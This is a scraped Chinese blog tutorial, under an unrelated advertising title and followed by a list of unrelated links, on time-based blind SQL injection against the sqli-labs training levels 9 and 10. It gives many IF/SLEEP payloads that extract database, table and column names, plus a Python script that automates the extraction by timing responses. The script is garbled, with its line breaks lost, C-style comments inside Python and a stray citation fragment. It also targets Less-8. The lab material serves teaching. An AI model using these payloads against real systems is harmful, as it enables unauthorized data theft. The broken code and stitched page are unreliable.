当前位置: 首页 > news >正文

深圳网站建设者西安广告公司

深圳网站建设者,西安广告公司,怎样做自己的网页,廊坊外贸网站建设目录 时间盲注(第九、十关) 1.判断 2.确认时间盲注 2.手工尝试时间盲注 数据库名长度 数据库名字符 表数 表名长度 表名字符 字段数 字段名长度 字段名字符 4.脚本时间盲注注入 5.第十关 时间盲注(第九、十关) 1.判…

目录

时间盲注(第九、十关)

1.判断

2.确认时间盲注

2.手工尝试时间盲注

数据库名长度

数据库名字符

表数

表名长度

表名字符

字段数

字段名长度

字段名字符

4.脚本时间盲注注入

5.第十关


时间盲注(第九、十关)
1.判断

当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化

2.确认时间盲注

使用的语法有:IF(condition, value_if_true, value_if_false)

测试是否存在时间盲注即闭合方式

单引号的时间盲注测试

?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等,这里测试是单引号闭合的时间盲注

?id=1" AND IF(1=1, SLEEP(5), 0) --+

2.手工尝试时间盲注
数据库名长度

注入数据库名,如果不对不会延时,正确则会延时

?id=1' and if(length(database())>4,sleep(5),1)--+ 
?id=1' and if(length(database())>8,sleep(5),1)--+ 
?id=1' and if(length(database())>6,sleep(5),1)--+  

4-数据库长度测试2

5-数据库长度测试3

数据库名字符
?id=1'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))=110,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 

7-数据库字符测试2

8-数据库字符测试3

9-数据库字符测试4

10-数据库字符测试5

表数
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)--+ 
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)--+ 

12-表数测试2

表名长度
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)--+ 
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)--+ 

14-表名长度测试2

表名字符
?id=1'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+ 

字段数
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)--+ 
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)--+ 

17-字段数测试2

字段名长度
?id=1'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)--+ 

字段名字符
?id=1'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)--+ 

4.脚本时间盲注注入
import requests  #用于发送HTTP请求
import time      # 用于计算时间差url = "http://127.0.0.1/sqli-labs/Less-8/"  # 目标注入点URLdef inject_database(url):name = ''  # 初始化空字符串,存储最终数据库名for i in range(1, 100): # 遍历字符位置(假设数据库名最长99字符)low = 32  # ASCII可打印字符起始值(空格)high = 128 # ASCII结束值(DEL字符,实际只用到127)mid = (low + high) // 2  # 二分法初始中间值while low < high:  # 二分查找当前字符的ASCII值# 构造Payload:通过时间盲注判断字符ASCII值是否大于midpayload = " 1' and ( if( ascii( substr( (select( database()) ),%d,1 ) )>%d,sleep(1),0 ) ) and ('1')=('1    " % (i, mid)/**" "  里面是构造的Payload1'   闭合前面的单引号if() 里面是判断字符的ASCII值是否大于mid ascii() 将字符转换为相应的ACSII值substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表iselect( database()) 查询获取当前的数据库名()>%d  第二个也就是这个%d是midsleep( ) 查询暂停指定的秒数。通常用于测试或故意造成延迟and ('1')=('1  闭合% (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚*/params = {"id": payload}  # 参数化请求#params 定义 HTTP GET 请求的 URL 参数,键值对形式传递数据#"id"目标网页接收的查询参数名(通常对应后端 SQL 查询的输入字段)start_time = time.time() # time.time() 记录请求时间戳 记录请求开始时间r = requests.get(url, params=params) # 发送HTTP GET请求/**base_url = "http://tieba.baidu.com/f?"  params = {"kw": "兔子", "pn": 100}  res = requests.get(base_url, params=params)  print(res.url) # 输出:http://tieba.baidu.com/f?kw=兔子&pn=100‌:ml-citation{ref="1,3" data="citationList"}  */end_time = time.time()    # 记录请求结束时间# 判断响应时间是否超过1秒(触发sleep(1))if end_time - start_time > 1:low = mid + 1  # 当前字符ASCII值 > mid,调整下限else:high = mid     # 当前字符ASCII值 <= mid,调整上限mid = (low + high) // 2 # 更新中间值# 当low >= high时,确定当前字符ASCII值为midif mid == 32:  # 若mid为32(空格),终止循环breakname = name + chr(mid)  # 将ASCII转为字符并拼接print(name)  # 实时输出当前结果inject_database(url)  # 执行注入函数

5.第十关

测试时间盲注的闭合方式

单引号的时间盲注测试

?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等

?id=1" AND IF(1=1, SLEEP(5), 0) --+

这里测试是双引号

剩下的步骤和第九关一样

http://www.dtcms.com/a/426838.html

相关文章:

  • READ_ONCE、smp_store_release在io_uring中实例分析
  • C/C++数据结构之用数组实现栈
  • Linux timekeeping
  • macOS 下安装 zsh、zsh-syntax-highlighting、powerlevel9k、nerd-font
  • CarveMe:代谢模型构建
  • windows显示驱动开发-调试间接显示驱动程序(二)
  • 企业平台网站建设制作一个网站平台
  • LinuxC++——etcd分布式键值存储系统入门
  • 使用arcgis提取评价指标时,导出数据是负数-9999
  • VUE3+element plus 实现表格行合并
  • LinuxC++——etcd分布式键值存储系统API(libetcd-cpp-api3)下载与二次封装
  • Electron vue项目 打包 exe文件2
  • 【开题答辩全过程】以 springboot高校创新创业课程体系的设计与实现为例,包含答辩的问题和答案
  • package.json详解
  • iOS 应用上架全流程解析,苹果应用发布步骤、ipa 上传工具、TestFlight 测试与 App Store 审核经验
  • QGIS + ArcGIS Pro 下载常见卫星影像及 ESRI Wayback 历史影像
  • Hexo搭建/部署个人博客教程
  • 中山 网站建设发布平台是什么
  • Qt操作Windows平板上摄像头
  • 外贸建站哪好asp网站打开很慢的原因
  • rknn yolo11 推理
  • 虚幻基础:容器
  • 开发环境windows安装oracle 19c并连接数据库
  • 虚幻基础:角色攻击
  • 手机上怎么查看网站设计淮安品牌网站建设
  • go协程的前世今生
  • GO学习2:基本数据类型 与 转换
  • 南京网站开发联系南京乐识昆明餐饮网站建设
  • 3D打印技术如何重塑PEM双极板的制造范式?
  • Excel工作表自动追加工具项目总结报告